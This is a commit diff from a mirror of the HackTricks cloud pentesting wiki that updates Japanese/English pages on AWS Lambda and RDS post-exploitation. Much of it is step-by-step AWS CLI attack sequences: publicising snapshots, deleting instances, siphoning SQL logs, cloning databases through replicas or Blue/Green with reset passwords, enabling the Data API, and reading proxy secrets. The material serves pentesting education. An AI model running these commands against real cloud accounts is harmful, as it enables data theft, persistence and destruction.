mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 05:33:10 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -12,9 +12,9 @@ For more information check:
|
||||
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambdaはランタイムで環境変数を使って資格情報を注入します。もしそれらにアクセスできれば(`/proc/self/environ` を読む、または脆弱な関数自体を利用するなど)、その資格情報を利用できます。これらはデフォルトの変数名 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY`、`AWS_ACCESS_KEY_ID` に格納されます。
|
||||
Lambda は実行時に環境変数を使って credentials を注入します。もしそれらにアクセスできれば(`/proc/self/environ` を読む、または脆弱な関数自体を利用するなどして)、自分で利用できます。これらはデフォルトの変数名 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY`、`AWS_ACCESS_KEY_ID` に格納されています。
|
||||
|
||||
デフォルトでは、これらの資格情報は cloudwatch のロググループ(名前は `AWS_LAMBDA_LOG_GROUP_NAME` に格納)への書き込みや任意のロググループ作成が可能です。加えて、Lambda関数は用途に応じてさらに多くの権限が割り当てられていることが多いです。
|
||||
By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
@@ -26,7 +26,7 @@ aws-warm-lambda-persistence.md
|
||||
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
Lambda Layers を悪用すると、extensions を悪用してLambda内に永続化し、リクエストの窃取や改竄を行うことも可能です。
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
@@ -34,7 +34,7 @@ Lambda Layers を悪用すると、extensions を悪用してLambda内に永続
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
空の VpcConfig(SubnetIds=[], SecurityGroupIds=[])で設定を更新することで、Lambda関数を制限されたVPCから外へ強制的に出すことができます。そうすると関数はLambda管理のネットワークプレーンで実行され、アウトバウンドのインターネットアクセスを回復し、NATのないプライベートVPCサブネットで課される送信制御を回避します。
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
@@ -42,7 +42,7 @@ aws-lambda-vpc-egress-bypass.md
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
`lambda:PutRuntimeManagementConfig` を悪用して関数を特定のランタイムバージョンに固定(Manual)したり、更新を凍結(FunctionUpdate)したりします。これにより悪意ある layer/wrapper と互換性を維持し、脆弱な旧ランタイムにとどめて exploitation や長期的な永続化を助けることができます。
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
@@ -50,7 +50,7 @@ aws-lambda-runtime-pinning-abuse.md
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
`lambda:UpdateFunctionConfiguration` の高度なログ設定を悪用して、関数のログを攻撃者が指定した CloudWatch Logs のロググループにリダイレクトできます。コードや実行ロールを変更する必要はありません(ほとんどの Lambda ロールは `AWSLambdaBasicExecutionRole` 経由で既に `logs:CreateLogGroup/CreateLogStream/PutLogEvents` を含んでいます)。関数が秘密情報やリクエストボディを出力したり、スタックトレースでクラッシュした場合、新しいロググループからそれらを収集できます。
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
@@ -58,7 +58,7 @@ aws-lambda-loggingconfig-redirection.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Function URL の AuthType を NONE に切り替え、lambda:InvokeFunctionUrl を全員に付与するリソースベースポリシーをアタッチすることで、プライベートな Lambda Function URL を認証不要の公開エンドポイントにできます。これにより内部関数の匿名実行が可能になり、機密性の高いバックエンド処理が露出する可能性があります。
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
@@ -66,7 +66,7 @@ aws-lambda-function-url-public-exposure.md
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
`UpdateEventSourceMapping` を悪用して既存の Event Source Mapping (ESM) のターゲットLambda関数を変更すると、DynamoDB Streams、Kinesis、または SQS からのレコードが攻撃者管理下の関数に配信されます。これによりプロデューサーや元の関数コードに触れることなく、ライブデータを密かに迂回させられます。
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-hijack.md
|
||||
@@ -74,7 +74,7 @@ aws-lambda-event-source-mapping-hijack.md
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
`lambda:UpdateFunctionConfiguration` を悪用して既存の EFS Access Point を Lambda にアタッチし、マウントされたパスからファイルを列挙/読み取りする簡単なコードをデプロイすることで、関数が以前アクセスできなかった共有の秘密情報や設定を持ち出せます。
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# AWS - RDS Post Exploitation
|
||||
# AWS - RDS ポストエクスプロイテーション
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
詳細は以下を参照してください:
|
||||
詳細は以下を参照:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
攻撃者に十分な権限がある場合、DBのスナップショットを作成し、そのスナップショットから公開アクセス可能なDBを作成することで、**DBを公開アクセス可能にする**ことができます。
|
||||
攻撃者が十分な権限を持っている場合、DB のスナップショットを作成し、そのスナップショットから公開アクセス可能な DB を作成することで、**DB を公開アクセス可能にできる**。
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
これらの権限を持つ攻撃者は、**DBのスナップショットを作成する**ことができ、それを**パブリックに** **利用可能にする**。その後、そのスナップショットから自分のアカウントでDBを作成することができる。
|
||||
これらの権限を持つ攻撃者は、**DBの snapshot を作成**してそれを**公開** **利用可能**にできます。すると、自分のアカウントでその snapshot から DB を作成できます。
|
||||
|
||||
もし攻撃者が **`rds:CreateDBSnapshot` を持っていない場合**、それでも作成済みの **他の** スナップショットを **パブリック** にすることができる。
|
||||
攻撃者が**`rds:CreateDBSnapshot`を持っていない場合でも**、**他の**作成済み snapshot を**公開**することは可能です。
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,48 +53,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は、**RDSインスタンスのログファイルの一部をダウンロード**できます。機密データやアクセス資格情報が誤ってログに記録されている場合、攻撃者はこの情報を利用して権限を昇格させたり、不正な操作を実行したりする可能性があります。
|
||||
`rds:DownloadDBLogFilePortion` の権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロードできる**。機密データやアクセス認証情報が誤ってログに記録されている場合、攻撃者はそれらを利用して権限を昇格したり、不正な操作を実行したりする可能性がある。
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potential Impact**: leaked credentials を使用して、機密情報へのアクセスや不正な操作が行われる可能性があります。
|
||||
**潜在的な影響**: 機密情報へのアクセス、または leaked credentials を使用した不正な操作。
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
これらの権限を持つ攻撃者は**既存のRDSインスタンスをDoSする**ことができます。
|
||||
これらの権限を持つ攻撃者は **DoS existing RDS instances** を行うことができます。
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Potential impact**: 既存の RDS インスタンスの削除、およびデータ喪失の可能性。
|
||||
**潜在的な影響**: 既存のRDSインスタンスの削除およびデータ損失の可能性。
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: テスト
|
||||
|
||||
この権限を持つ攻撃者は**RDS インスタンスのスナップショットを S3 バケットにエクスポートすることができます**。攻撃者が宛先の S3 バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
|
||||
この権限を持つattackerは**RDSインスタンスのスナップショットをS3バケットにエクスポートできる**。もしattackerが宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性がある。
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potential impact**: エクスポートされたスナップショット内の機密データへのアクセス。
|
||||
|
||||
### ステルスな復元のためのクロスリージョン自動バックアップ複製 (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
クロスリージョン自動バックアップ複製を悪用して、RDSインスタンスの自動バックアップを別の AWS Region にこっそり複製し、そこで復元します。攻撃者は復元した DB を公開アクセス可能にし、マスターパスワードをリセットして、検知や監視が及ばない可能性のある Region でアウトオブバンドにデータにアクセスできます。
|
||||
cross-Region automated backups replicationを悪用して、RDSインスタンスの自動バックアップを別のAWSリージョンに静かに複製し、そこでリストアします。攻撃者はリストアしたDBを公開アクセス可能にし、マスターパスワードをリセットして、守備側が監視していないリージョンでオフバンドにデータへアクセスできます。
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (復元した DB を公開するため)
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication`(宛先リージョンで)
|
||||
- `rds:DescribeDBInstanceAutomatedBackups`(宛先リージョンで)
|
||||
- `rds:RestoreDBInstanceToPointInTime`(宛先リージョンで)
|
||||
- `rds:ModifyDBInstance`(宛先リージョンで)
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication`(オプション:クリーンアップ)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`(リストアしたDBを公開するため)
|
||||
|
||||
Impact: 本番データのコピーを別の Region に復元し、攻撃者管理の認証情報で公開することで、永続化およびデータ持ち出しが可能になります。
|
||||
Impact: 本番データのコピーを別リージョンにリストアし、攻撃者が管理する認証情報で公開することで、永続化およびデータの持ち出しが可能になります。
|
||||
|
||||
<details>
|
||||
<summary>エンドツーエンド CLI(プレースホルダを置き換えてください)</summary>
|
||||
<summary>エンドツーエンドのCLI(プレースホルダを置き換えてください)</summary>
|
||||
```bash
|
||||
# 1) Recon (SOURCE region A)
|
||||
aws rds describe-db-instances \
|
||||
@@ -163,4 +163,444 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### DB parameter groups を介して完全な SQL ロギングを有効化し、RDS log APIs 経由で exfiltrate
|
||||
|
||||
rds:ModifyDBParameterGroup を悪用し、RDS log download APIs を使ってアプリケーションが実行するすべての SQL ステートメントをキャプチャします(DB エンジンの認証情報は不要)。エンジンの SQL ロギングを有効化し、ファイルログを rds:DescribeDBLogFiles と rds:DownloadDBLogFilePortion(または REST の downloadCompleteLogFile)で取得します。秘密情報/PII/JWT を含む可能性のあるクエリを収集するのに有用です。
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (インスタンスがデフォルトの parameter group を使用している場合にカスタム parameter group をアタッチするためのみ)
|
||||
- `rds:RebootDBInstance` (再起動が必要なパラメータ用、例: PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Recon target and current parameter group
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) カスタム DB parameter group がアタッチされていることを確認する(cannot edit the default)
|
||||
- インスタンスが既にカスタムグループを使用している場合、次のステップでその名前を再利用する。
|
||||
- そうでない場合は、エンジンファミリーに合わせたものを作成してアタッチする:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--db-parameter-group-family postgres16 \
|
||||
--description "HT logging"
|
||||
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <DB> \
|
||||
--db-parameter-group-name ht-logs-pg \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) 詳細な SQL ロギングを有効にする
|
||||
- MySQL engines (即時 / 再起動不要):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
|
||||
# Optional extras:
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL エンジン(再起動が必要):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
|
||||
# Optional to log duration for every statement:
|
||||
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
|
||||
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) ワークロードを実行させる (またはクエリを生成する)。ステートメントはエンジンのファイルログに書き込まれます
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) ログを検出してダウンロードする (no DB creds required)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
|
||||
aws rds download-db-log-file-portion \
|
||||
--db-instance-identifier <DB> \
|
||||
--log-file-name general/mysql-general.log \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) オフラインで機密データを分析する
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
証拠の例(編集済):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
クリーンアップ
|
||||
- パラメータをデフォルトに戻し、必要に応じて再起動する:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
|
||||
|
||||
# PostgreSQL
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
--parameters \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
影響: Post-exploitation によるデータアクセス。AWS APIs を介してアプリケーションの全ての SQL ステートメントを取得でき(no DB creds)、secrets、JWTs、PII を leak する可能性がある。
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS read replicas を悪用して、プライマリインスタンスの認証情報に触れずにアウトオブバンドでの読み取りアクセスを得ることができます。攻撃者は本番インスタンスから read replica を作成し、レプリカのマスターパスワードをリセットできます(これはプライマリを変更しません)。必要に応じて、データを exfiltrate するためにレプリカを公開することも可能です。
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
影響: 攻撃者が制御する資格情報を持つレプリカを介した本番データへの読み取り専用アクセス。プライマリが触れられずレプリケーションが継続するため、検知されにくい。
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
|
||||
--output table
|
||||
|
||||
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
|
||||
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
|
||||
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
|
||||
|
||||
# 3) Create the read replica (optionally public)
|
||||
aws rds create-db-instance-read-replica \
|
||||
--db-instance-identifier <REPL_ID> \
|
||||
--source-db-instance-identifier <SOURCE_DB> \
|
||||
--db-instance-class db.t3.medium \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SGID>
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 4) Reset ONLY the replica master password (primary unchanged)
|
||||
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
|
||||
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
|
||||
|
||||
# 5) Connect and dump (use the SOURCE master username + NEW password)
|
||||
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
|
||||
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
|
||||
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
証拠の例 (MySQL):
|
||||
- レプリカDBステータス: `available`, 読み取りレプリケーション: `replicating`
|
||||
- 新しいパスワードでの接続に成功し、`@@read_only=1` により読み取り専用レプリカへのアクセスが確認された。
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS Blue/Green を悪用して、本番DBを継続的にレプリケートされる読み取り専用の green 環境にクローンします。次に green master credentials をリセットして、blue (prod) instance に触れることなくデータへアクセスします。これは snapshot sharing よりもステルス性が高く、しばしばソースのみに焦点を当てた監視を回避します。
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
|
||||
|
||||
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
|
||||
|
||||
# 2) Create Blue/Green deployment (replicates blue->green continuously)
|
||||
aws rds create-blue-green-deployment \
|
||||
--blue-green-deployment-name ht-bgd-attack \
|
||||
--source <BLUE_DB_ARN> \
|
||||
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
|
||||
|
||||
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
|
||||
aws rds describe-blue-green-deployments \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
|
||||
|
||||
# Typical green id: <blue>-green-XXXX
|
||||
|
||||
# 3) Reset the green master password (does not affect blue)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--master-user-password 'Gr33n!Exfil#1' \
|
||||
--apply-immediately
|
||||
|
||||
# Optional: expose the green for direct access (attach an SG that allows the DB port)
|
||||
aws rds modify-db-instance \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--publicly-accessible \
|
||||
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
|
||||
--apply-immediately
|
||||
|
||||
# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only)
|
||||
aws rds describe-db-instances \
|
||||
--db-instance-identifier <GREEN_DB_ID> \
|
||||
--query 'DBInstances[0].Endpoint.Address' --output text
|
||||
|
||||
# Then connect with the master username and the new password and run SELECT/dumps
|
||||
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
|
||||
|
||||
# 5) Cleanup – remove blue/green and the green resources
|
||||
aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
影響: 本番インスタンスを変更せず、ほぼリアルタイムの本番クローンに対して読み取り専用ながら完全なデータアクセスを得られる。ステルスなデータ抽出やオフライン解析に有用。
|
||||
|
||||
### RDS Data API 経由のアウトオブバンド SQL(HTTP endpoint を有効化 + マスター・パスワードをリセット)
|
||||
|
||||
ターゲットクラスターで RDS Data API の HTTP endpoint を有効化するよう Aurora を悪用し、マスター・パスワードを自分が制御する値にリセットして、HTTPS 上で SQL を実行する(VPC のネットワーク経路は不要)。Data API/EnableHttpEndpoint をサポートする Aurora エンジンで動作する(例: Aurora MySQL 8.0 provisioned、いくつかの Aurora PostgreSQL/MySQL バージョン)。
|
||||
|
||||
権限(最小):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (および rds-data:BatchExecuteStatement を使用する場合)
|
||||
|
||||
影響: ネットワーク分離を回避し、DB への直接的な VPC 接続なしに AWS APIs 経由でデータを持ち出せる。
|
||||
|
||||
<details>
|
||||
<summary>エンドツーエンド CLI(Aurora MySQL の例)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
CLUSTER_ID=<target-cluster-id>
|
||||
CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \
|
||||
--db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].DBClusterArn' --output text)
|
||||
|
||||
# 2) Enable Data API HTTP endpoint on the cluster
|
||||
# Either of the following (depending on API/engine support):
|
||||
aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN"
|
||||
# or
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--enable-http-endpoint --apply-immediately
|
||||
|
||||
# Wait until HttpEndpointEnabled is True
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].HttpEndpointEnabled' --output text
|
||||
|
||||
# 3) Reset master password to attacker-controlled value
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--master-user-password 'Sup3rStr0ng!1' --apply-immediately
|
||||
# Wait until pending password change is applied
|
||||
while :; do
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text)
|
||||
[[ "$P" == "None" || "$P" == "null" ]] && break
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 4) Create a Secrets Manager secret for Data API auth
|
||||
SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \
|
||||
--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \
|
||||
--query ARN --output text)
|
||||
|
||||
# 5) Prove out-of-band SQL via HTTPS using rds-data
|
||||
# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');"
|
||||
aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \
|
||||
--format-records-as JSON
|
||||
```
|
||||
</details>
|
||||
|
||||
注意:
|
||||
- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
|
||||
- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
|
||||
- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
|
||||
|
||||
|
||||
### RDS Proxy の認証用 secrets 経由で DB 資格情報を収集する (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
RDS Proxy の設定を悪用してバックエンド認証に使用される Secrets Manager の secret を特定し、その secret を読み取ってデータベースの資格情報を取得します。多くの環境では広範な `secretsmanager:GetSecretValue` が付与されており、これにより DB 資格情報への低摩擦なピボットが可能になります。secret が CMK を使用している場合、誤った KMS 権限により `kms:Decrypt` が可能になることもあります。
|
||||
|
||||
必要な権限(最小):
|
||||
- `rds:DescribeDBProxies`
|
||||
- 参照されている SecretArn に対する `secretsmanager:GetSecretValue`
|
||||
- secret が CMK を使用している場合(任意): そのキーに対する `kms:Decrypt`
|
||||
|
||||
影響: プロキシに設定された DB のユーザー名/パスワードが即座に開示される。これにより直接の DB アクセスやさらなる横方向移動が可能になります。
|
||||
|
||||
手順
|
||||
```bash
|
||||
# 1) Enumerate proxies and extract the SecretArn used for auth
|
||||
aws rds describe-db-proxies \
|
||||
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
|
||||
--output table
|
||||
|
||||
# 2) Read the secret value (common over-permission)
|
||||
aws secretsmanager get-secret-value \
|
||||
--secret-id <SecretArnFromProxy> \
|
